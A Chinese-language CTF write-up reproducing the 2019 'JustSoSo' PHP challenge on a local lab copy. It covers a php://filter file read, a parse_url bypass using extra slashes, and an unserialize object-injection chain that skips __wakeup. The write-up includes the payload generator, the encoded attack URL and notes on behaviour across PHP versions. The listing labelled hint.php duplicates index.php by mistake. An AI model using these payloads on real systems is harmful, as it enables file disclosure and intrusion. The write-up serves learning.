这个题目又碰到了,所以复现一下,过程中又学到了很多东西,记录记录
题目环境
2019国赛线上的一个题目JustSoSo,总共三个文件:index.php,hint.php,flag.php,贴一下源码
index.php
<html>
<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
print_r($query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{
echo "Missing parameters";
}
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>
hint.php
<html>
<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
print_r($query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{
echo "Missing parameters";
}
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>
flag.php,这里是自己编的
<?php
$flag = "just_so_so";
?>
解题过程
index.php
在index.php的注释中,会发现存在LFI
,还有hint.php,所以通过filter伪协议
读取文件index.php,hint.php,flag因为被过滤了,所以不能直接读取,否则这题也没啥意思。
php://filter/read=convert.base64-encode/recource=index.php
首先看index.php,传入file和payload两个参数,加上过滤,然后include($file)
(这个可以用来包含hint.php)。接下来对我们传入的参数进行正则匹配,过滤了flag。parse_url
函数存在漏洞,可以多加上//
进行绕过,使得该函数获取的返回值为空。具体可以参考:parse_url函数小记
在index.php的最后是反序列化。
hint.php
在hint.php中,两个类Handle
和Flag
,看到Flag类中的函数getFlag
,这应该就是突破点,当$file=flag.php时,就可以读取flag
利用过程:构造一个Handle类对象a,然后对象a中handle值指向一个Flag类对象b,同时b的token和token_flag值是相同的(因为两个变量都是md5随机数,所以使用地址),为了防止__wakeup()函数将参数都置为空,需要修改变量数量,避免执行__wakeup()函数
payload
<?php
class Handle{
private $handle;
public function __construct($handle) {
$this->handle = $handle;
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
}
}
$b = new Flag("flag.php");
$b->token = &$b->token_flag;
$a = new Handle($b);
echo serialize($a);
运行结果:
O:6:"Handle":1:{
s:14:"Handlehandle";O:4:"Flag":3:{
s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}
但是需要修改变量数量,将1改为2即可;同时注意s:14:"Handlehandle";
,虽然看起来只有12个字符,但是该成员属性为private,序列化后,会在Handle
前后加上0x00,故长度为14=12+2.在传参的时候,要记着进行编码,所以payload是
O:6:"Handle":2:{
s:14:"%00Handle%00handle";O:4:"Flag":3:{
s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}
再加上之前的file,我这里复现题目放在justsoso文件夹内了,所以url多了一个目录
http://127.0.0.1///justsoso/index.php?file=hint.php&payload=O:6:%22Handle%22:2:{
s:14:%22%00Handle%00handle%22;O:4:%22Flag%22:3:{
s:4:%22file%22;s:8:%22flag.php%22;s:5:%22token%22;N;s:10:%22token_flag%22;R:4;}}
复现过程中可能遇到的一点问题
在这个复现的过程中,遇到了点php版本的问题,学长帮忙解决了,自己还是太菜了,按照代码执行过程说下两个问题吧
首先,代码会执行到index.php中的parse_url
,然后会在hint.php
中,执行$this->handle->getFlag();
,这两个地方根据php版本的不同得到的结果也不同。
parse_url
///
可以绕过,使得parse_rul返回false,但是有php版本的限制
为了测试,我在index.php中加了一行代码
为了方便,用的phpstudy,方便切换php版本
在php5.6.59及以下,回显Array()
在php7.0.9中,就不适用了,回显stop hacking
而在php7.3.4中,回显
但是没有flag,这就是另一个问题了
$this->handle->getFlag();
所以特地将代码重新切分,摘出一个test.php出来,将parse_url去掉
<?php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
echo "1111111";
$this->handle->getFlag();
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}
public function getFlag(){
echo "2222";
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag){
if(isset($this->file)){
echo "3333";
echo $this->file;
echo @highlight_file($this->file, true);
}
}
}
}
$payload = $_GET["payload"];
unserialize($payload);
在php7.0.9以前及php5.x中,可以执行
在php7.3.4及以上中,修复了上面的漏洞,啥都没回显
综上,php版本最好是5.x,才能够比较顺利的复现